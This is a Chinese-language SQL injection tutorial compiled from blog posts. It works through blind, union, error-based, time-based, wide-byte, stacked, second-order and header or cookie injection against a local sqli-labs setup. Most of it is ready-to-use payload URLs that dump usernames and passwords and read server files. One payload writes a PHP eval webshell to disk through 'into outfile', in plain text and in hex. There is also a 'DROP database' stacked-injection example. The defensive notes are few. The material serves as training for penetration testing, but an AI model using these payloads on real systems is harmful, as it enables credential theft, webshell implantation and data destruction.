-
sql注入
2020-09-01 21:12:48SQL注入: 攻击者在HTTP请求中注入恶意SQL命令(如:drop table users;),服务器用请求参数构造数据库SQL命令时,恶意SQL被一起构造,并在数据库中执行。 输入:taoge' or 1 = 1 ; # select * from zzz where ...SQL注入:
攻击者在HTTP请求中注入恶意SQL命令(如:drop table users;),服务器用请求参数构造数据库SQL命令时,恶意SQL被一起构造,并在数据库中执行。
输入:taoge' or 1 = 1 ; #
select * from zzz where name='taoge' or 1 = 1 ; #' and password='hehe';
防御手段:使用正则表达式过滤掉字符中的特殊字符
-
SQL注入漏洞详解
2018-08-23 20:51:39SQL注入的分类 判断是否存在SQL注入 一:Boolean盲注 二:union 注入 三:文件读写 四:报错注入 floor报错注入 ExtractValue报错注入 UpdateXml报错注入 五:时间盲注 六:REGEXP正则匹配 七:宽字节...目录
(1)预编译(PreparedStatement)(JSP)
以下所有代码的环境:MySQL5.5.20+PHP
SQL注入是因为后台SQL语句拼接了用户的输入,而且Web应用程序对用户输入数据的合法性没有判断和过滤,前端传入后端的参数是攻击者可控的,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。比如查询、删除,增加,修改数据等等,如果数据库的用户权限足够大,还可以对操作系统执行操作。
SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤。SQL注入是针对数据库、后台、系统层面的攻击!
由于以下的环境都是MySQL数据库,所以先了解点MySQL有关的知识。
- 5.0以下是多用户单操作
- 5.0以上是多用户多操做
在MySQL5.0以下,没有information_schema这个系统表,无法列表名等,只能暴力跑表名。
在MySQL5.0以上,MySQL中默认添加了一个名为 information_schema 的数据库,该数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。
当尝试删除该数据库时,会爆出以下的错误!
mysql中注释符:
- 单行注释:#
- 多行注释:/**/
information_schema数据库中三个很重要的表:
- information_schema.schemata: 该数据表存储了mysql数据库中的所有数据库的库名
- information_schema.tables: 该数据表存储了mysql数据库中的所有数据表的表名
- information_schema.columns: 该数据表存储了mysql数据库中的所有列的列名
关于这几个表的一些语法:
// 通过这条语句可以得到第一个的数据库名 select schema_name from information_schema.schemata limit 0,1 // 通过这条语句可以得到第一个的数据表名 select table_name from information_schema.tables limit 0,1 // 通过这条语句可以得到指定security数据库中的所有表名 select table_name from information_schema.tables where table_schema='security'limit 0,1 // 通过这条语句可以得到第一个的列名 select column_name from information_schema.columns limit 0,1 // 通过这条语句可以得到指定数据库security中的数据表users的所有列名 select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1 //通过这条语句可以得到指定数据表users中指定列password的第一条数据(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据) select password from users limit 0,1
mysql中比较常用的一些函数:
- version(): 查询数据库的版本
- user():查询数据库的使用者
- database():数据库
- system_user():系统用户名
- session_user():连接数据库的用户名
- current_user:当前用户名
- load_file():读取本地文件
- @@datadir:读取数据库路径
- @@basedir:mysql安装路径
- @@version_complie_os:查看操作系统
ascii(str) : 返回给定字符的ascii值,如果str是空字符串,返回0;如果str是NULL,返回NULL。如 ascii("a")=97
length(str) : 返回给定字符串的长度,如 length("string")=6
substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr("chinese",3,2)="in"
也可以 substr(string from start for length)
substr()、stbstring()、mid() 三个函数的用法、功能均一致
concat(username):将查询到的username连在一起,默认用逗号分隔
concat(str1,'*',str2):将字符串str1和str2的数据查询到一起,中间用*连接
group_concat(username) :将username数据查询在一起,用逗号连接
limit 0,1:查询第1个数 limit 5:查询前5个 limit 1,1: 查询第2个数 limit n,1: 查询第n+1个数
也可以 limit 1 offset 0
更多的关于SQL语句:常见的SQL语句
SQL注入的分类
依据注入点类型分类
- 数字类型的注入
- 字符串类型的注入
- 搜索型注入
依据提交方式分类
- GET注入
- POST注入
- COOKIE注入
- HTTP头注入(XFF注入、UA注入、REFERER注入)
依据获取信息的方式分类
- 基于布尔的盲注
- 基于时间的盲注
- 基于报错的注入
- 联合查询注入
- 堆查询注入 (可同时执行多条语句)
判断是否存在SQL注入
一个网站有那么多的页面,那么我们如何判断其中是否存在SQL注入的页面呢?我们可以用网站漏洞扫描工具进行扫描,常见的网站漏洞扫描工具有 AWVS、AppScan、OWASP-ZAP、Nessus 等。
但是在很多时候,还是需要我们自己手动去判断是否存在SQL注入漏洞。下面列举常见的判断SQL注入的方式。但是目前大部分网站都对此有防御,真正发现网页存在SQL注入漏洞,还得靠技术和经验了。
一:二话不说,先加单引号'、双引号"、单括号)、双括号))等看看是否报错,如果报错就可能存在SQL注入漏洞了。
二:还有在URL后面加 and 1=1 、 and 1=2 看页面是否显示一样,显示不一样的话,肯定存在SQL注入漏洞了。
三:还有就是Timing Attack测试,也就是时间盲注。有时候通过简单的条件语句比如 and 1=2 是无法看出异常的。
在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。 Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。
因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。
MySQL benchmark(100000000,md(5))
sleep(3)
PostgreSQL PG_sleep(5)
Generate_series(1,1000000)
SQLServer waitfor delay '0:0:5' 易出现SQL注入的功能点:凡是和数据库有交互的地方都容易出现SQL注入,SQL注入经常出现在登陆页面、涉及获取HTTP头(user-agent / client-ip等)的功能点及订单处理等地方。例如登陆页面,除常见的万能密码,post 数据注入外也有可能发生在HTTP头中的 client-ip 和 x-forward-for 等字段处。这些字段是用来记录登陆的 i p的,有可能会被存储进数据库中从而与数据库发生交互导致sql注入。
一:Boolean盲注
盲注,就是在服务器没有错误回显时完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的信息,所以攻击者必须找到一个方法来验证注入的SQL语句是否得到了执行。
我们来看一个例子:这是sqli的Less-5,我自己对源码稍微改动了一下,使得页面会显示执行的sql语句
通过输入 http://127.0.0.1/sqli/Less-1/?id=1 我们得到了下面的页面
然后输入 http://127.0.0.1/sqli/Less-5/?id=-1 我们得到下面的页面
当我们输入 http://127.0.0.1/sqli/Less-5/?id=1' 我们得到下面的页面
由此可以看出代码把 id 当成了字符来处理,而且后面还有一个限制显示的行数 limit 0,1 。当我们输入的语句正确时,就显示You are in.... 当我们输入的语句错误时,就不显示任何数据。当我们的语句有语法错误时,就报出 SQL 语句错误。
于是,我们可以推断出页面的源代码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; //sql查询语句 $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row){ //如果查询到数据 echo 'You are in...........'; }else{ //如果没查询到数据 print_r(mysql_error()); }
于是我们可以通过构造一些判断语句,通过页面是否显示来证实我们的猜想。盲注一般用到的一些函数:ascii() 、substr() 、length(),exists()、concat()等
1:判断数据库类型
这个例子中出错页面已经告诉了我们此数据库是MySQL,那么当我们不知道是啥数据库的时候,如何分辨是哪个数据库呢?
虽然绝大多数数据库的大部分SQL语句都类似,但是每个数据库还是有自己特殊的表的。通过表我们可以分辨是哪些数据库。
MySQL数据库的特有的表是 information_schema.tables , access数据库特有的表是 msysobjects 、SQLServer 数据库特有的表是 sysobjects ,oracle数据库特有的表是 dual。那么,我们就可以用如下的语句判断数据库。哪个页面正常显示,就属于哪个数据库
//判断是否是 Mysql数据库 http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) # //判断是否是 access数据库 http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) # //判断是否是 Sqlserver数据库 http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) # //判断是否是Oracle数据库 http://127.0.0.1/sqli/Less-5/?id=1' and (select count(*) from dual)>0 #
对于MySQL数据库,information_schema 数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。
information_schema.tables 存储了数据表的元数据信息,下面对常用的字段进行介绍:
- table_schema: 记录数据库名;
- table_name: 记录数据表名;
- table_rows: 关于表的粗略行估计;
- data_length : 记录表的大小(单位字节);
2:判断当前数据库名(以下方法不适用于access和SQL Server数据库)
1:判断当前数据库的长度,利用二分法 http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 //正常显示 http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 //不显示任何数据 http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7 //正常显示 http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8 //不显示任何数据 大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为 8 2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断 //判断数据库的第一个字符 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>100 //判断数据库的第二个字符 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 ........... 由此可以判断出当前数据库为 security
3:判断当前数据库中的表
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) //猜测当前数据库中是否存在admin表 1:判断当前数据库中表的个数 // 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4 http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 # 2:判断每个表的长度 //判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6 http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 //判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6 http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 3:判断每个表的每个字符的ascii值 //判断第一个表的第一个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 # //判断第一个表的第二个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 # ......... 由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断
4. 判断表中的字段
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin) //如果已经证实了存在admin表,那么猜测是否存在username字段 1:判断表中字段的个数 //判断users表中字段个数是否大于5,这里的users表是通过上面的语句爆出来的 http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')>5 # 2:判断字段的长度 //判断第一个字段的长度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 //判断第二个字段的长度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 3:判断字段的ascii值 //判断第一个字段的第一个字符的长度 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 //判断第一个字段的第二个字符的长度 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 ........... 由此可判断出users表中存在 id、username、password 字段
5.判断字段中的数据
我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据 1: 判断数据的长度 // 判断id字段的第一个数据的长度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 // 判断id字段的第二个数据的长度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 2:判断数据的ascii值 // 判断id字段的第一个数据的第一个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100 // 判断id字段的第一个数据的第二个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 ...........
二:union 注入
union联合查询适用于有显示列的注入。
我们可以通过order by来判断当前表的列数。最后可得知,当前表有3列
http://127.0.0.1/sqli/Less-1/?id=1' order by 3 #
我们可以通过 union 联合查询来知道显示的列数
127.0.0.1/sqli/Less-1/?id=1' union select 1 ,2 ,3 #
咦,这里为啥不显示我们联合查询的呢?因为这个页面只显示一行数据,所以我们可以用 and 1=2 把前面的条件给否定了,或者我们直接把前面 id=1 改成 id =-1 ,在后面的代码中,都是将 id=-1进行注入
http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,2,3 # http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 #
这样,我们联合查询的就显示出来了。可知,第2列和第3列是显示列。那我们就可以在这两个位置插入一些函数了。
我们可以通过这些函数获得该数据库的一些重要的信息
- version() :数据库的版本
- database() :当前所在的数据库
- @@basedir : 数据库的安装目录
- @@datadir : 数据库文件的存放目录
- user() : 数据库的用户
- current_user() : 当前用户名
- system_user() : 系统用户名
- session_user() :连接到数据库的用户名
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,version(),user() #
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,database(),@@basedir #
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,@@datadir,current_user() #
我们还可以通过union注入获得更多的信息。
// 获得所有的数据库 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata# // 获得所有的表 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables# // 获得所有的列 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns# #获取当前数据库中指定表的指定字段的值(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据) http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(password),3 from users%23
当我们已知当前数据库名security,我们就可以通过下面的语句得到当前数据库的所有的表
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #
我们知道了当前数据库中存在了四个表,那么我们可以通过下面的语句知道每一个表中的列
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #
如下,我们可以知道users表中有id,username,password三列
我们知道存在users表,又知道表中有 id ,username, password三列,那么我们可以构造如下语句
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users #
我们就把users表中的所有数据都给爆出来了
三:文件读写
- 当有显示列的时候,文件读可以利用 union 注入。
- 当没有显示列的时候,只能利用盲注进行数据读取。
示例:读取e盘下3.txt文件
union注入读取文件(load_file)
//union注入读取 e:/3.txt 文件 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file("e:/3.txt")# //也可以把 e:/3.txt 转换成16进制 0x653a2f332e747874 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file(0x653a2f332e747874)#
盲注读取文件
//盲注读取的话就是利用hex函数,将读取的字符串转换成16进制,再利用ascii函数,转换成ascii码,再利用二分法一个一个的判断字符,很复杂,一般结合工具完成 http://127.0.0.1/sqli/Less-1/?id=-1' and ascii(mid((select hex(load_file('e:/3.txt'))),18,1))>49#' LIMIT 0,1
我们可以利用写入文件的功能,在e盘创建4.php文件,然后写入一句话木马
union写入文件(into outfile)
//利用union注入写入一句话木马 into outfile 和 into dumpfile 都可以 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,'<?php @eval($_POST[aaa]);?>' into outfile 'e:/4.php' # // 可以将一句话木马转换成16进制的形式 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e into outfile 'e:/4.php' #
四:报错注入
利用前提: 页面上没有显示位,但是需要输出 SQL 语句执行错误信息。比如 mysql_error()
优点: 不需要显示位
缺点: 需要输出 mysql_error( )的报错信息floor报错注入
floor报错注入是利用 count()函数 、rand()函数 、floor()函数 、group by 这几个特定的函数结合在一起产生的注入漏洞。缺一不可
// 我们可以将 user() 改成任何函数,以获取我们想要的信息。具体可以看文章开头关于information_schema数据库的部分 http://127.0.0.1/sqli/Less-1/?id=-1' and (select 1 from (select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2)))a) # //将其分解 (select 1 from (Y)a) Y= select count(*) from information_schema.tables group by concat(Z) Z= user(),floor(rand(0)*2) //将这里的 user() 替换成我们需要查询的函数
floor报错注入参考:https://blog.csdn.net/zpy1998zpy/article/details/80650540
ExtractValue报错注入
EXTRACTVALUE (XML_document, XPath_string)
- 第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称
- 第二个参数:XPath_string (Xpath 格式的字符串).
作用:从目标 XML 中返回包含所查询值的字符串
ps: 返回结果 限制在32位字符
// 可以将 user() 改成任何我们想要查询的函数和sql语句 ,0x7e表示的是 ~ http://127.0.0.1/sqli/Less-1/?id=-1' and extractvalue(1,concat(0x7e,user(),0x7e))# // 通过这条语句可以得到所有的数据库名,更多的关于informaion_schema的使用看文章头部 http://127.0.0.1/sqli/Less-1/?id=-1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e))#
UpdateXml报错注入
UpdateXml 函数实际上是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候他其实已经执行了那个子查询代码!
UPDATEXML (XML_document, XPath_string, new_value)
- 第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc 1
- 第二个参数:XPath_string (Xpath 格式的字符串) ,如果不了解 Xpath 语法,可以在网上查找教程。
- 第三个参数:new_value,String 格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
// 可以将 user() 改成任何我们想要查询的函数和sql语句 ,0x7e表示的是 ~ http://127.0.0.1/sqli/Less-1/?id=-1' and updatexml(1,concat(0x7e,user(),0x7e),1)# // 通过这条语句可以得到所有的数据库名,更多的关于informaion_schema的使用看文章头部 http://127.0.0.1/sqli/Less-1/?id=-1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)#
更多的关于报错注入的文章:https://blog.csdn.net/cyjmosthandsome/article/details/87947136
https://blog.csdn.net/he_and/article/details/80455884
五:时间盲注
Timing Attack注入,也就是时间盲注。通过简单的条件语句比如 and 1=2 是无法看出异常的。
在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。 Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。
因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。
MySQL benchmark(100000000,md5(1))
sleep(3)
PostgreSQL PG_sleep(5)
Generate_series(1,1000000)
SQLServer waitfor delay '0:0:5' 利用前提:页面上没有显示位,也没有输出 SQL 语句执行错误信息。正确的 SQL 语句和错误的 SQL 语句返回页面都一样,但是加入 sleep(5)条件之后,页面的返回速度明显慢了 5 秒。
优点:不需要显示位,不需要出错信息。
缺点:速度慢,耗费大量时间sleep 函数判断页面响应时间 if(判断条件,为true时执行,为false时执行)
我们可以构造下面的语句,判断条件是否成立。然后不断变换函数直到获取到我们想要的信息
//判断是否存在延时注入 http://127.0.0.1/sqli/Less-1/?id=1' and sleep(5)# // 判断数据库的第一个字符的ascii值是否大于100,如果大于100,页面立即响应,如果不大于,页面延时5秒响应 http://127.0.0.1/sqli/Less-1/?id=1' and if(ascii(substring(database(),1,1))<100,1,sleep(5)) #
六:REGEXP正则匹配
正则表达式,又称规则表达式(Regular Expression,在代码中常简写为regex、regexp或RE),计算机科学的一个概念。正则表达式通常被用来检索、替换那些符合某个模式(规则)的文本
查找name字段中含有a或者b的所有数据: select name from admin where name regexp ' a|b ';
查找name字段中含有ab,且ab前有字符的所有数据(.匹配任意字符): select name from admin where name regexp ' .ab ';
查找name字段中含有at或bt或ct的所有数据: select name from admin where name regexp ' [abc]t ';
查找name字段中以a-z开头的所有数据: select name from admin where name regexp ' ^[a-z] ';已知数据库名为 security,判断第一个表的表名是否以 a-z 中的字符开头,^[a-z] --> ^a ; 判断出了第一个表的第一个字符,接着判断第一个表的第二个字符 ^a[a-z] --> ^ad ; 就这样,一步一步判断第一个表的表名 ^admin$ 。然后 limit 1,1 判断第二个表
// 判断security数据库下的第一个表的是否以a-z的字母开头 http://127.0.0.1/sqli/Less-1/?id=1' and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^[a-z]' limit 0,1) #
参考文档:http://www.cnblogs.com/lcamry/articles/5717442.html
七:宽字节注入
宽字节注入是由于不同编码中中英文所占字符的不同所导致的。通常来说,在GBK编码当中,一个汉字占用2个字节。而在UTF-8编码中,一个汉字占用3个字节。在php中,我们可以通过输入 echo strlen("中") 来测试,当为GBK编码时,输入2,而为UTF-8编码时,输出3。除了GBK以外,所有的ANSI编码都是中文都是占用两个字节。
相关文章:字符集与字符编码
在说之前,我们先说一下php中对于sql注入的过滤,这里就不得不提到几个函数了。
addslashes() :这个函数在预定义字符之前添加反斜杠 \ 。预定义字符: 单引号 ' 、双引号 " 、反斜杠 \ 、NULL。但是这个函数有一个特点就是虽然会添加反斜杠 \ 进行转义,但是 \ 并不会插入到数据库中。这个函数的功能和魔术引号完全相同,所以当打开了魔术引号时,不应使用这个函数。可以使用 get_magic_quotes_gpc() 来检测是否已经转义。
mysql_real_escape_string() :这个函数用来转义sql语句中的特殊符号x00 、\n 、\r 、\ 、‘ 、“ 、x1a。
魔术引号:当打开时,所有的单引号’ 、双引号" 、反斜杠\ 和 NULL 字符都会被自动加上一个反斜线来进行转义,这个和 addslashes() 函数的作用完全相同。所以,如果魔术引号打开了,就不要使用 addslashes() 函数了。一共有三个魔术引号指令。
- magic_quotes_gpc 影响到 HTTP 请求数据(GET,POST 和 COOKIE)。不能在运行时改变。在 PHP 中默认值为 on。 参见 get_magic_quotes_gpc()。如果 magic_quotes_gpc 关闭时返回 0,开启时返回 1。在 PHP 5.4.0 起将始终返回 0,因为这个魔术引号功能已经从 PHP 中移除了。
- magic_quotes_runtime 如果打开的话,大部份从外部来源取得数据并返回的函数,包括从数据库和文本文件,所返回的数据都会被反斜线转义。该选项可在运行的时改变,在 PHP 中的默认值为 off。 参见 set_magic_quotes_runtime() 和 get_magic_quotes_runtime()。
- magic_quotes_sybase (魔术引号开关)如果打开的话,将会使用单引号对单引号进行转义而非反斜线。此选项会完全覆盖 magic_quotes_gpc。如果同时打开两个选项的话,单引号将会被转义成 ''。而双引号、反斜线 和 NULL 字符将不会进行转义。
可以在 php.ini 中看这几个参数是否开启
我们这里搭了一个平台来测试,这里得感谢其他大佬的源码。
测试代码及数据库:http://pan.baidu.com/s/1eQmUArw 提取密码:75tu
首先,我们来看一下1的源码,这对用户输入的id用 addslashes() 函数进行了处理,而且是当成字符串处理。
我们输入 http://127.0.0.1/1/1/?id=1'
这里addslashes函数把我们的 ’ 进行了转义,转义成了 \'。
所以,我们要想绕过这个转义,就得把 \' 的 \ 给去掉。那么怎么去掉呢。
- 在转义之后,想办法让\前面再加一个\,或者偶数个\即可,这样就变成了\\' ,\ 被转义了,而 ‘ 逃出了限制。
- 在转义之后,想办法把 \ 弄没有,只留下一个 ' 。
我们这里利用第2中方法,宽字节注入,这里利用的是MySQL的一个特性。MySQL在使用GBK编码的时候,会认为两个字符是一个汉字,前提是前一个字符的 ASCII 值大于128,才会认为是汉字。
当我们输入如下语句的时候,看看会发生什么。
127.0.0.1/1/1/?id=1%df'
我们发现页面报错了,而且报错的那里是 '1運'' 。我们只输入了 1%df ' ,最后变成了 1運 ' 。所以是mysql把我们输入的%df和反斜杠\ 合成了一起,当成了 運 来处理。而我们输入的单引号' 逃了出来,所以发生了报错。我们现在来仔细梳理一下思路。 我们输入了 1%df ’ ,而因为使用了addslashes()函数处理 ',所以最后变成了 1%df\' , 又因为会进行URL编码,所以最后变成了 1%df%5c%27 。而MySQL正是把%df%5c当成了汉字 運 来处理,所以最后 %27 也就是单引号逃脱了出来,这样就发生了报错。而这里我们不仅只是能输入%df ,我们只要输入的数据的ASCII码大于128就可以。因为在MySQL中只有当前一个字符的ASCII大于128,才会认为两个字符是一个汉字。所以只要我们输入的数据大于等于 %81 就可以使 ' 逃脱出来了。
知道怎么绕过,我们就可以进行注入获得我们想要的信息了!
既然GBK编码可以,那么GB2312可不可以呢?怀着这样的好奇,我们把数据库编码改成了GB2312,再次进行了测试。我们发现,当我们再次利用输入 1%df' 的时候,页面竟然不报错,那么这是为什么呢?
这要归结于GB2312编码的取值范围。它编码的取值范围高位是0XA1~0XF7,低位是0XA1~0xFE,而 \ 是0x5C ,不在低位范围中。所以0x5c根本不是GB2312中的编码。所以,%5c 自然不会被当成中文的一部分给吃掉了。
所以,通过这个我们可以得到结论,在所有的编码当中,只要低位范围中含有 0x5C的编码,就可以进行宽字符注入。
发现了这个宽字符注入,于是很多程序猿把 addslashes() 函数换成了 mysql_real_escape_string() 函数,想用此来抵御宽字节的注入。因为php官方文档说了这个函数会考虑到连接的当前字符集。
那么,使用了这个函数是否就可以抵御宽字符注入呢。我们测试一下,我们输入下面的语句
http://127.0.0.1/1/3/?id=1%df'
发现还是能进行宽字节的注入。那么这是为什么呢?原因就是,你没有指定php连接mysql的字符集。我们需要在执行SQL语句之前调用 mysql_set_charset 函数,并且设置当前连接的字符集为gbk。
这样当我们再次输入的时候,就不能进行宽字节注入了!
宽字节注入的修复
在调用 mysql_real_escape_string() 函数之前,先设置连接所使用的字符集为GBK ,mysql_set_charset=('gbk',$conn) 。这个方法是可行的。但是还是有很多网站是使用的addslashes()函数进行过滤,我们不可能把所有的addslashes()函数都换成mysql_real_escape_string()。
所以防止宽字节注入的另一个方法就是将 character_set_client 设置为binary(二进制)。需要在所有的sql语句前指定连接的形式是binary二进制:
mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn);
当我们的MySQL收到客户端的请求数据后,会认为他的编码是character_set_client所对应的编码,也就是二进制。然后再将它转换成character_set_connection所对应的编码。然后进入具体表和字段后,再转换成字段对应的编码。当查询结果产生后,会从表和字段的编码转换成character_set_results所对应的编码,返回给客户端。所以,当我们将character_set_client编码设置成了binary,就不存在宽字节注入的问题了,所有的数据都是以二进制的形式传递。
八:堆叠注入
在SQL中,分号;是用来表示一条sql语句的结束。试想一下我们在 ; 结束后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别呢?区别就在于union 或者union all执行的语句类型是有限的,只可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:root';DROP database user;服务器端生成的sql语句为:Select * from user where name='root';DROP database user;当执行查询后,第一条显示查询信息,第二条则将整个user数据库删除。
SQL Injection8(堆叠注入)——强网杯2019随便注
九:二次注入
二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。
- 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
- 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
- 黑客向服务端发送第二个与第一次不相同的请求数据信息。
- 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
- 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功
我们访问 http://127.0.0.1/sqli/Less-24/index.php
是一个登陆页面,我们没有账号,所以选择新建一个用户
我们新建的用户名为:admin'# 密码为:123456
查看数据库,可以看到,我们的数据插入进去了
我们使用新建的用户名和密码登录
登录成功了,跳转到了后台页面修改密码页面。
我们修改用户名为:admin'# 密码为:aaaaaaaaa
提示密码更新成功!
我们查看数据库,发现用户 admin'# 的密码并没有修改,而且 admin 用户的密码修改为了 aaaaaaaaaa
那么,为什么会这样呢?我们查看修改密码页面源代码,发现这里存在明显的SQL注入漏洞
当我们提交用户名 admin'# 修改密码为 aaaaaaaaaa 的时候,这条SQL语句就变成了下面的语句了。
#把后面的都给注释了,所以就是修改了admin用户的密码为 aaaaaaaaaa
$sql = "UPDATE users SET PASSWORD='aaaaaaaaaa' where username='admin'#' and password='$curr_pass' ";
十:User-Agent注入
我们访问 http://127.0.0.1/sqli/Less-18/ ,页面显示一个登陆框和我们的ip信息
当我们输入正确的用户名和密码之后登陆之后,页面多显示了 浏览器的User-Agent
抓包,修改其User-Agent为
'and extractvalue(1,concat(0x7e,database(),0x7e))and '1'='1 #我们可以将 database()修改为任何的函数
可以看到,页面将当前的数据库显示出来了
十一:Cookie注入
如今绝大部门开发人员在开发过程中会对用户传入的参数进行适当的过滤,但是很多时候,由于个人对安全技术了解的不同,有些开发人员只会对get,post这种方式提交的数据进行参数过滤。
但我们知道,很多时候,提交数据并非仅仅只有get / post这两种方式,还有一种经常被用到的方式:request("xxx"),即request方法。通过这种方法一样可以从用户提交的参数中获取参数值,这就造成了cookie注入的最基本条件:使用了request方法,但是只对用户get / post提交的数据进行过滤。
我们这里有一个连接:www.xx.com/search.asp?id=1
我们访问:www.xx.com/srarch.asp 发现不能访问,说缺少id参数。
